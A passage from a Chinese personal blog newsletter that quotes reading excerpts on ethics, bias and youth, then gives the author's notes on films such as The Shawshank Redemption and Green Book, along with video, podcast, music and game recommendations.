这些话比我可能教给你们的任何内容都重要得多,但我总是不太确定在课堂上该如何或何时说。所以我决定在这里写下来。我希望你们能在这里发现一些有助于反思的东西,无论你们是即将步入社会还是继续学业。 </p> <ul class="org-ul"> <li>不要相信那些关于技术是「不可避免的」或「将长期存在」的自私谎言。你没必要非得顺从主流叙事。你可以做出深思熟虑的选择,并帮助他人也这样做。</li> <li>要用心预先决定你自己的道德和伦理底线。不要接受那种「暂且」牺牲原则直到找到更好的选择为止的谎言。</li> <li>培养你深度思考的能力。无论付出什么代价,都要在空间和时间上为自己开辟出无干扰的泡沫。这可能意味着对那些别人说至关重要或不可避免的技术或工作模式说「不」。</li> <li>深切关注你的手艺。重构代码直到它清晰且优雅。编写供他人阅读的优秀文档。要有放慢速度的勇气,尤其是当其他所有人都在告诉你需要快马加鞭并偷工减料时。</li> <li>比起利润、代码或生产力,要更加关心人、关系和正义。</li> <li>最重要的是,要受爱而非恐惧的驱动。</li> </ul> <p> <a href="http://ozark.hendrix.edu/~yorgey/forest/00FD/index.xml#:~:text=slaves%2E-,I,fear">Source</a> </p> </blockquote></li> <li><p> <a href="https://www.hecaitou.com/2026/05/the-silent-telling.html">不说而说</a> by 和菜头 </p> <blockquote> <p> 最后,分享一个我个人的心得:我看过大量国内外的音响测评视频,里面每一个博主都会把一件厂商刚刚送来的产品吹得天上有地下无。而我就看一件事情,在看过十期、二十期、五十期节目过后,在他们工作室的背景画面里,究竟是哪些设备一直稳坐如山,不是像流水一样在他们和厂商手中来来去去。那些他们拿到手就不愿意再出掉的设备,肯定就是好东西,但他们嘴上绝对不会说。 </p> <p> <a href="https://www.hecaitou.com/2026/05/the-silent-telling.html#:~:text=%E6%9C%80%E5%90%8E%EF%BC%8C%E5%88%86%E4%BA%AB%E4%B8%80%E4%B8%AA%E6%88%91%E4%B8%AA%E4%BA%BA%E7%9A%84%E5%BF%83%E5%BE%97%EF%BC%9A%E6%88%91%E7%9C%8B%E8%BF%87%E5%A4%A7%E9%87%8F%E5%9B%BD%E5%86%85%E5%A4%96%E7%9A%84%E9%9F%B3%E5%93%8D%E6%B5%8B%E8%AF%84%E8%A7%86%E9%A2%91%EF%BC%8C%E9%87%8C%E9%9D%A2%E6%AF%8F%E4%B8%80%E4%B8%AA%E5%8D%9A%E4%B8%BB%E9%83%BD%E4%BC%9A%E6%8A%8A%E4%B8%80%E4%BB%B6%E5%8E%82%E5%95%86%E5%88%9A%E5%88%9A%E9%80%81%E6%9D%A5%E7%9A%84%E4%BA%A7%E5%93%81%E5%90%B9%E5%BE%97%E5%A4%A9%E4%B8%8A%E6%9C%89%E5%9C%B0%E4%B8%8B%E6%97%A0%E3%80%82%E8%80%8C%E6%88%91%E5%B0%B1%E7%9C%8B%E4%B8%80%E4%BB%B6%E4%BA%8B%E6%83%85%EF%BC%8C%E5%9C%A8%E7%9C%8B%E8%BF%87%E5%8D%81%E6%9C%9F%E3%80%81%E4%BA%8C%E5%8D%81%E6%9C%9F%E3%80%81%E4%BA%94%E5%8D%81%E6%9C%9F%E8%8A%82%E7%9B%AE%E8%BF%87%E5%90%8E%EF%BC%8C%E5%9C%A8%E4%BB%96%E4%BB%AC%E5%B7%A5%E4%BD%9C%E5%AE%A4%E7%9A%84%E8%83%8C%E6%99%AF%E7%94%BB%E9%9D%A2%E9%87%8C%EF%BC%8C%E7%A9%B6%E7%AB%9F%E6%98%AF%E5%93%AA%E4%BA%9B%E8%AE%BE%E5%A4%87%E4%B8%80%E7%9B%B4%E7%A8%B3%E5%9D%90%E5%A6%82%E5%B1%B1%EF%BC%8C%E4%B8%8D%E6%98%AF%E5%83%8F%E6%B5%81%E6%B0%B4%E4%B8%80%E6%A0%B7%E5%9C%A8%E4%BB%96%E4%BB%AC%E5%92%8C%E5%8E%82%E5%95%86%E6%89%8B%E4%B8%AD%E6%9D%A5%E6%9D%A5%E5%8E%BB%E5%8E%BB%E3%80%82%E9%82%A3%E4%BA%9B%E4%BB%96%E4%BB%AC%E6%8B%BF%E5%88%B0%E6%89%8B%E5%B0%B1%E4%B8%8D%E6%84%BF%E6%84%8F%E5%86%8D%E5%87%BA%E6%8E%89%E7%9A%84%E8%AE%BE%E5%A4%87%EF%BC%8C%E8%82%AF%E5%AE%9A%E5%B0%B1%E6%98%AF%E5%A5%BD%E4%B8%9C%E8%A5%BF%EF%BC%8C%E4%BD%86%E4%BB%96%E4%BB%AC%E5%98%B4%E4%B8%8A%E7%BB%9D%E5%AF%B9%E4%B8%8D%E4%BC%9A%E8%AF%B4">Source</a> </p> </blockquote></li> <li><p> <a href="https://wangyurui.com/posts/qi-shi-bu-xu-yao-e-yi-fc2cb16c">歧视不需要恶意</a> by 太隐 </p> <blockquote> <p> 这个实验虽然简单,但它说明了一件事,偏见并不需要真实的利害关系作为前提。<span class="underline">只要有“分组”这个动作,人就会自动产生“我们”和“他们”的区分,并且开始偏向“我们”。</span>泰费尔由此发展出了社会认同理论。这个理论的核心观点是,人不仅通过个人的成就和特质来定义“我是谁”,<span class="underline">还会通过自己所属的群体来获取自我价值感。</span>你是中国人、是北京人、是程序员、还是某所大学的毕业生,这些群体身份都构成了你自我认知的一部分。<span class="underline">而为了维护这种自我价值感,人会本能地抬高自己所属群体的地位,同时贬低其他群体。</span>所以好事发生时,人就会把自己归入这个群体来提升自我价值感,而当坏事发生时,立马快速与这个群体保持距离,来保护自我价值感,这种切换不需要什么理性思考,而是自我身份认同系统的自动反应。 </p> <p> <a href="https://wangyurui.com/posts/qi-shi-bu-xu-yao-e-yi-fc2cb16c#:~:text=%E5%80%BE%E6%96%9C%E3%80%82-,%E8%BF%99%E4%B8%AA,%E5%8F%8D%E5%BA%94">Source</a> </p> </blockquote></li> <li><p> <a href="https://cupofjo.com/2026/04/27/how-to-make-new-friends-neighbors/">Who Are the Unexpected Friends in Your Life?</a> By Jannelle Sanchez </p> <blockquote> <p> [&hellip;]人生中一些最温暖、最长久的友谊,往往是与那些最意想不到的人建立起来的。 </p> <p> <a href="https://cupofjo.com/2026/04/27/how-to-make-new-friends-neighbors/#:~:text=But%20being%20Jesse%E2%80%99s%20friend%20reminds%20me%20that%20some%20of%20life%E2%80%99s%20warmest%2C%20longest%2Dlasting%20friendships%20are%20forged%20with%20the%20people%20we%20least%20expect">Source</a> </p> </blockquote></li> <li><p> <a href="https://asteriskmag.com/issues/14/these-wild-young-people">These Wild Young People</a> by Asterisk </p> <blockquote> <p> 每个人在某个时刻都会面对未知。生活是不确定的 ⸺ 更准确地说,有一件事是确定的,那就是生活本身不确定。尤其是年轻人,特别容易有这种感觉:我们还不知道会将自己融入社会的哪个部分;我们还没有自己的家庭、丈夫或妻子。 [&hellip;] </p> <p> 这种没有根基的状态当然也是青春如此令人兴奋的原因。正如任何曾在舞台上表演过的人很可能被告知的那样,紧张和兴奋是同一种感觉。两种状态都源于对未知的期待,而在帷幕拉开后就会消散;克服不确定性必然涉及走上舞台并承担风险,任何风险! </p> <p> <a href="https://asteriskmag.com/issues/14/these-wild-young-people?#:~:text=Everyone,risk,-%21">Source</a> </p> </blockquote> <p> 青春之所以让人兴奋,是因為一切都還不确定,处于一種无根狀態。 </p></li> </ul> </div> </div> <div id="outline-container-F5037158-3FB5-4EEF-94A2-B9B228A89A4F" class="outline-2"> <h2 id="F5037158-3FB5-4EEF-94A2-B9B228A89A4F"><a href="#F5037158-3FB5-4EEF-94A2-B9B228A89A4F">多媒体</a></h2> <div class="outline-text-2" id="text-F5037158-3FB5-4EEF-94A2-B9B228A89A4F"><details> <summary>目录</summary> <div id="text-table-of-contents-2" role="doc-toc"> <ul> <li><a href="#1F2486FF-CEC9-4A26-B4C4-2078BDDA1C46">影视</a></li> <li><a href="#FA191A7F-5B7F-4F5B-8ECC-6174FF912A98">视频</a></li> <li><a href="#9B4310C3-8041-456C-8FBF-88AA6F69F373">播客</a></li> <li><a href="#1CB0E80A-C6D3-4E33-8596-86C2ACFDFDD6">音乐</a></li> <li><a href="#00005329-4B72-450F-B255-C43CEF0FC4D9">游戏</a></li> </ul> </div> </details> </div> <div id="outline-container-1F2486FF-CEC9-4A26-B4C4-2078BDDA1C46" class="outline-3"> <h3 id="1F2486FF-CEC9-4A26-B4C4-2078BDDA1C46"><a href="#1F2486FF-CEC9-4A26-B4C4-2078BDDA1C46">影视</a></h3> <div class="outline-text-3" id="text-1F2486FF-CEC9-4A26-B4C4-2078BDDA1C46"><ul class="org-ul"> <li><p> <a href="https://movie.douban.com/subject/1291841/">教父 The Godfather (1972)</a> </p> <p> 经典,节奏感很好。马龙·白兰度饰演的教父形象深入人心。 </p></li> <li><p> <a href="https://movie.douban.com/subject/1292052/">肖申克的救赎 The Shawshank Redemption (1994)</a> </p> <p> 如果陪审团能像 <a href="https://movie.douban.com/subject/1293182/">十二怒汉</a> 这样去分析安迪的案件,或许安迪就不用平白无辜地坐牢 19 年了。安迪能在监狱混得开,是因为他本身精通美国税务,对监狱的管理层有利,从而受到了一定程度的庇护,也能扩张图书馆。(要有一技之長。) </p> <p> 因为安迪对地理和地质的爱好,在他看到监狱墙壁的石头掉落时,他才会想到墙壁可能容易挖开,开始做越狱的准备,如果对此一无所知,一头扎进去挖墙,靠一个小小的凿子,说不定一辈子都挖不开。有点爱好,说不定什么时候就能帮到自己。想到乔布斯当初旁听书法课,看似没啥用,最后却影响了苹果电脑的字体设计。网上冲浪偶尔看到一些信息,可能也会在未来某个时刻想起而帮到自己。 </p> <p> 安迪写信给政府,希望能得到拨款扩建监狱图书馆,每周一封,坚持了六年,才得到了答复。六年时间很长,但安迪却笑着说「我只写了六年」,然后他改成每周写两封,政府终于受不了了,给了他大量的赞助,让他封笔。佩服安迪的毅力和坚持。 </p> <p> Brooks 在监狱待了 50 年,出去监狱已经无法适应了,无法融入社会的他选择了自尽,只留下一句 Brooks 曾经来过,让人唏嘘。长时间待在一个封闭环境,大概都会有类似的问题,关一个星期的小黑屋,人可能就疯了。 </p> <blockquote> <p> 监狱里的高墙实在是很有趣。刚入狱的时候,你痛恨周围的高墙;慢慢地,你习惯了生活在其中;最终你会发现自己不得不依靠它而生存。这就是体制化。 </p> </blockquote> <p> Red 重获自由后,本来也会重蹈 Brooks 的路,但他和安迪的约定再次给了他希望,最后终于两人重逢。 </p> <blockquote> <p> 既然走了这么远的路,干脆再走远一点吧,你还记得那个地方的名字,是吗? </p> <p> 记住,Red,心怀希望是一件好事,也许是人间至善,而美好的事物永不消逝。 </p> </blockquote> <blockquote> <p> Busy for living, or busy for death. </p> </blockquote> <p> 另见: <a href="https://movie.douban.com/review/10350620/">《肖申克的救赎》到底“救赎”了什么?</a> by 泠十三 </p></li> <li><p> <a href="https://movie.douban.com/subject/36591328/">香港四径大步走 香港四徑大步走 (2023)</a> </p> <p> 很不错的纪录片,推荐一看,里面香港四径(麦理浩径、卫奕信径、港岛径、凤凰径)的风光也很不错,配樂也很棒。四径总长 298 公里,还有很多的海拔起伏,选手需要在 60 小时內走完,有的人甚至在冲击 50 小时,非常极限。 </p> <p> Stone Tsang 是一位很厉害的选手,在很多徒步大赛都有优异的成绩,但是走到一半的时候他发现膝盖很痛,他没有选择硬撑,而是顺从身体的感受,比赛还有机会,但身体坏了就不值得了,心态很好。 </p> <p> Salomon Wettstein 是一位工程师,他给比赛设置了很精确的时间表,但第一段麦理浩径结束,他和计划偏差一个多小时,于是他就被身体的劳累和计划的偏差击溃了,但朋友的鼓励让他振作了精神,此时他不再只是为了自己比赛,也在为那些他在意的亲友,这种精神力量支撑着他走了下去。 </p> <p> Law Kai-pong 在比赛前几个月受伤了,小腿有一道非常深的伤口,比赛前才刚恢复好。他硬是忍着伤口的不适完赛了,是个狠人。 </p> <p> Jacky Leung 一开始并没有人在意,但他却慢慢地追赶上了前面的所有人,是唯一一个在 50 小时内完赛的,在碰到终点邮筒时,控制不住地哭了。后面采访,他也很谦虚,说都是因为运气好。 </p> <p> 运气确实很重要,很多选手在高强度走了一天之后都吃不下东西,甚至呕吐、肚子痛,吃不下东西就更没力气和精神,而如果不出现这些问题,能够正常吃喝,就更容易坚持下去。 </p> <p> 香港四径大步走,是孤独的,有很长的时间可能都在黑夜里独自一人前行,几乎没什么睡眠时间,有时甚至会因为睡眠不足而产生幻觉。孤独,却也是非常独特的体验。但很累就是了,完赛的人都不会想再来一次。 </p> <p> 每个到达终点的人都会亲吻终点的邮筒(在梅窝码头),而比赛的组织者 Andre Blumberg 会给他们一个温暖的拥抱,用香槟喷洒他们一身为他们庆祝,然后将香槟递给他们享受,那一刻终于可以放松下来了。 </p></li> <li><p> <a href="https://movie.douban.com/subject/1302425/">喜剧之王 喜劇之王 (1999)</a> </p> <p> 努力,奋斗。 </p></li> <li><p> <a href="https://movie.douban.com/subject/27060077/">绿皮书 Green Book (2018)</a> </p> <p> Don Shirley 很富有却孤独,他和大多数黑人不同,有更高的学识修养、更富有,而许多黑人可能还在底层挣扎,这些黑人排斥他;他和白人也不同,肤色在那个时代让他受尽了歧視,哪怕他有修养、富有,在衣服店甚至都不允许试穿衣服;他夹在中间,没有归属。 </p> <p> 肤色的不同,让彼此很容易分组,并偏向自己的群体,不愿意去理解对方。而如果去了解对方,会发现彼此或许是可以成为朋友的。面对和自己的不同,可能会害怕,进而抗拒,抗拒去理解对方,从而产生更多的隔阂。面对不同,或许应该试试放下成见,先去倾听和理解,再做判断。 </p> <p> 影片的最后,Don Shirley 在黑人餐吧和其他乐手一起演奏,活跃了餐吧的氛围,我想在那一刻他会有片刻的归属感吧,那个片段的音乐也蛮好听。 </p> <p> 看完之后去听了 Don Shirley 的专辑,见 <a href="album-38.html">Album#38 - Gospel According to Don Shirley</a>。 </p></li> <li><p> <a href="https://movie.douban.com/subject/1292001/">海上钢琴师 La leggenda del pianista sull'oceano (1998)</a> </p> <p> 经典。 </p> <blockquote> <p> 陆上的人喜欢寻根问底,虚度了大好光阴。冬天忧虑夏天的姗姗来迟,夏天则担心冬天的将至。所以他们不停四处游走,追求一个遥不可及、四季如夏的地方,我并不羡慕。 </p> <p> <span class="underline">所有那些城市,你就是无法看见尽头。</span><span class="underline">尽头?拜托!拜托你给我看它的尽头在哪?</span>当时,站在舷梯向外看还好。我那时穿着大衣,感觉也很棒,觉得自己前途无量,然后我就要下船去。放心!完全没问题!可是,阻止了我的脚步的,并不是我所看见的东西,而是我所无法看见的那些东西。你明白么?我看不见的那些。<span class="underline">在那个无限蔓延的城市里,什么东西都有,可惟独没有尽头。</span><span class="underline">根本就没有尽头。</span><span class="underline">我看不见的是这一切的尽头,世界的尽头。</span> </p> <p> ⸺ <a href="https://movie.douban.com/subject/1292001/">《海上钢琴师》</a> 台词 </p> </blockquote></li> <li><p> <a href="https://movie.douban.com/subject/1308779/">后天 The Day After Tomorrow (2004)</a> </p> <p> 印象深刻的灾难片,全球变暖导致大量冰川融化,导致稀释了海里盐的浓度,使得洋流停止,于是海洋的温差骤然变大,出现了极大的风眼,将高空的寒冷一下子吸到地面,人类进入了新的冰河时代。感觉是未来可能会发生的事情,如果温室效应导致气温继续上涨的话,自然灾害往往不是缓慢发展的,到了临界点往往是一触即发,极其凶猛。 </p> <p> 印象深刻的还有男主的父亲跨越美国,去救儿子,儿子相信父亲回来,因为父亲给了他承诺,而父亲一定会遵守承诺。让我想起了太宰治写的 <a href="https://zh.wikipedia.org/wiki/%E8%B7%91%E5%90%A7%EF%BC%81%E7%BE%8E%E6%A8%82%E6%96%AF">《跑吧!美樂斯》</a>,是「等人的辛苦?还是被等的人辛苦呢?」。(<a href="https://zh.wikipedia.org/zh-hans/%E6%B7%B7%E6%B2%8C%E6%AD%A6%E5%A3%AB">《混沌武士》</a> 第 9 集也有类似的剧情。) </p></li> <li><p> <a href="https://movie.douban.com/subject/1301715/">美国精神病人 American Psycho (2000)</a> </p> <p> 剧情看着有点割裂,如果不是克里斯蒂安·贝尔那么帅可能看不下去。里面克里斯蒂安·贝尔穿着透明雨衣,拿着斧头把同事砍死的片段大概是个名场面吧。概念上和 <a href="https://movie.douban.com/subject/1292000/">搏击俱乐部 Fight Club (1999)</a> 有点像,发生的事情不知道是真的,还是精神错乱幻想出来的。倒是挺喜欢克里斯蒂安·贝尔杀人前,分享他喜欢的专辑的部分。 </p> <p> 也挺喜欢克里斯蒂安·贝尔演的 <a href="https://movie.douban.com/subject/6538866/">极速车王 Ford v Ferrari (2019)</a>,不过他更出名的是他饰演的 <a href="https://movie.douban.com/subject/1851857/">蝙蝠侠</a> 吧。 </p></li> <li><p> <a href="https://movie.douban.com/subject/35573302/">高弧慢球 Eephus (2024)</a> </p> <blockquote> <p> 讲述了新英格兰一个休闲联赛的最后一场比赛。在他们心爱的球场即将被拆除之前,我们跟随着这群成年人的幽默和隐晦的感伤,比赛持续到加时赛,白昼渐渐消逝为夜幕,标志着一个时代的终结。 </p> </blockquote> <p> 差不多就是看了一场棒球比赛,没有主角,是一部群像电影。棒球规则不懂,所以也不太知道比赛进行得如何,过程中都是一些生活中的对话,有调侃,有争吵,真的就像是去看了场中年人的业余棒球比赛。 </p> <p> 这是球场被拆之前的最后一场比赛,大家也是想纪念一下吧。但也没什么特别的,没有美满的收场,没有轟轟烈烈,倒是有一些冲突和不順。就像是毕业时、生日时,想做点什么特别的,但往往就是一个平常的日子,没什么特别地就过去了,结束就是这么的普通。 </p></li> </ul> </div> </div> <div id="outline-container-FA191A7F-5B7F-4F5B-8ECC-6174FF912A98" class="outline-3"> <h3 id="FA191A7F-5B7F-4F5B-8ECC-6174FF912A98"><a href="#FA191A7F-5B7F-4F5B-8ECC-6174FF912A98">视频</a></h3> <div class="outline-text-3" id="text-FA191A7F-5B7F-4F5B-8ECC-6174FF912A98"><ul class="org-ul"> <li><a href="https://www.bilibili.com/video/BV1YVoCBQEY8/">答案来了!阿那亚海市蜃楼真相实地求证</a> (13:57) by 中国国家地理 &amp; 无穷小亮的科普日常</li> <li><a href="https://www.bilibili.com/video/BV1msRMB6Erz/">AI 手搓小黄人,发现他们好像产生了意识</a> (05:05) by 小狮日记</li> <li><a href="https://www.bilibili.com/video/BV1YG9eBDE1Y/">我愿称之为香港第一女子组合!at17丨HOPICO</a> (24:43) by Hopico</li> <li><a href="https://www.bilibili.com/video/BV1EoX5Y1EUN/">香港大学教授教你如何优雅地讲粗口</a> (08:20) by 粤睇粤鸠up</li> <li><a href="https://www.bilibili.com/video/BV1Z35n6xErz/">色彩原理调色教程</a> (00:50) by 七芊摄影</li> <li><a href="https://www.youtube.com/watch?v=Y24vK_QDLFg">How one programmer's pet project changed how we think about software</a> (1:06:19) by CultRepo</li> <li><a href="https://www.bilibili.com/video/BV1co9yBhEvW">分享我转 AI 方向的学习路径和工作转变</a> (15:25) by polebug23</li> <li><a href="https://www.bilibili.com/video/BV1xg5Q6tEqd">1959:爵士乐的疯狂往事</a> (13:23) by 夏威夷爵菜头</li> <li><p> <a href="https://www.youtube.com/watch?v=el4CQj-TCbA">Iguana vs Snakes (Full Clip) | Planet Earth II | BBC Earth</a> (04:26) by BBC Earth </p> <p> 精彩的追逐。 </p></li> <li><p> <a href="https://www.bilibili.com/video/BV1csReBiEZc/">为了捡垃圾,我爆改了一架飞机&hellip;</a> (13:51) by 神奇阿宇 Ayu </p> <p> 不要把垃圾留在美丽的自然中。 </p> <p> 片尾的 Born in the River (by Ziv Morarn) 好聴。 </p></li> </ul> </div> </div> <div id="outline-container-9B4310C3-8041-456C-8FBF-88AA6F69F373" class="outline-3"> <h3 id="9B4310C3-8041-456C-8FBF-88AA6F69F373"><a href="#9B4310C3-8041-456C-8FBF-88AA6F69F373">播客</a></h3> <div class="outline-text-3" id="text-9B4310C3-8041-456C-8FBF-88AA6F69F373"><ul class="org-ul"> <li><a href="https://www.xiaoyuzhoufm.com/episode/69ebc9631d989496e7720c24">333-如何像照顾一条狗一样照顾自己?</a> (33mins) by 独树不成林</li> <li><a href="https://www.xiaoyuzhoufm.com/episode/69eae15a1e94ae692107cc50">138. 对罗福莉 3.5 小时访谈:AI 范式已然巨变!OpenClaw、Agent 范式很吃后训练、卡的分配、组织平权</a> (217mins) by 张小珺Jùn|商业访谈录</li> <li><a href="https://www.xiaoyuzhoufm.com/episode/69faa70051c885c7f779b121">勇者就是要拿报酬</a> (104mins) by Nice Try</li> <li><a href="https://www.xiaoyuzhoufm.com/episode/69fe7a01140504ded81abb90">E235|20 年内 CAR-T 治愈癌症?与刘诚博士聊聊癌症治疗的底层哲学</a> (70mins) by 硅谷101</li> </ul> </div> </div> <div id="outline-container-1CB0E80A-C6D3-4E33-8596-86C2ACFDFDD6" class="outline-3"> <h3 id="1CB0E80A-C6D3-4E33-8596-86C2ACFDFDD6"><a href="#1CB0E80A-C6D3-4E33-8596-86C2ACFDFDD6">音乐</a></h3> <div class="outline-text-3" id="text-1CB0E80A-C6D3-4E33-8596-86C2ACFDFDD6"><ul class="org-ul"> <li><a href="album-37.html">Album#37 - Scenery(シーナリィ)</a></li> <li><a href="album-38.html">Album#38 - Gospel According to Don Shirley</a></li> <li><a href="album-39.html">Album#39 - 海马森林 (SEAHORSE FOREST)</a></li> </ul> </div> </div> <div id="outline-container-00005329-4B72-450F-B255-C43CEF0FC4D9" class="outline-3"> <h3 id="00005329-4B72-450F-B255-C43CEF0FC4D9"><a href="#00005329-4B72-450F-B255-C43CEF0FC4D9">游戏</a></h3> <div class="outline-text-3" id="text-00005329-4B72-450F-B255-C43CEF0FC4D9"><p> 云玩。 </p> <ul class="org-ul"> <li><a href="https://www.bilibili.com/video/BV1h9ojB6Evn">王老菊教你豌豆豌豆豌豆</a> (1:01:55) by 怕上火暴王老菊 <ul class="org-ul"> <li>游戏:丰收牌局</li> </ul></li> <li><a href="https://www.bilibili.com/video/BV1t7ojBNE1y">王老菊教你龙息核弹</a> (37:08) by 怕上火暴王老菊 <ul class="org-ul"> <li>游戏:恶魔牌</li> </ul></li> <li><a href="https://www.bilibili.com/video/BV1FAR9BpEpw">王老菊教你荤素搭配</a> (59:58) by 怕上火暴王老菊 <ul class="org-ul"> <li>游戏:万物皆可蟹</li> </ul></li> <li><a href="https://www.bilibili.com/video/BV1sG5K68EJs">王老菊教你日墙拳法</a> (1:13:21) by 怕上火暴王老菊 <ul class="org-ul"> <li>游戏:卡片魔王:只剩个头</li> </ul></li> </ul> </div> </div> </div> </div> <hr> <p>感谢你的阅读!</p> <p>欢迎 <a href="mailto:l-yanlei@hotmail.com">邮件</a> 跟我分享你的想法 :)</p> <p>你也可以 <a href="https://taxodium.ink/subscribe.html">訂閱</a> 我的博客,保持更新 :P</p> <p>祝好,素未某面的读者。</p> <a href="https://taxodium.ink/49.txt">純文本版本</a> <a href="https://taxodium.ink/49.org">原始 org 文件</a>

2026/5/18
阅读更多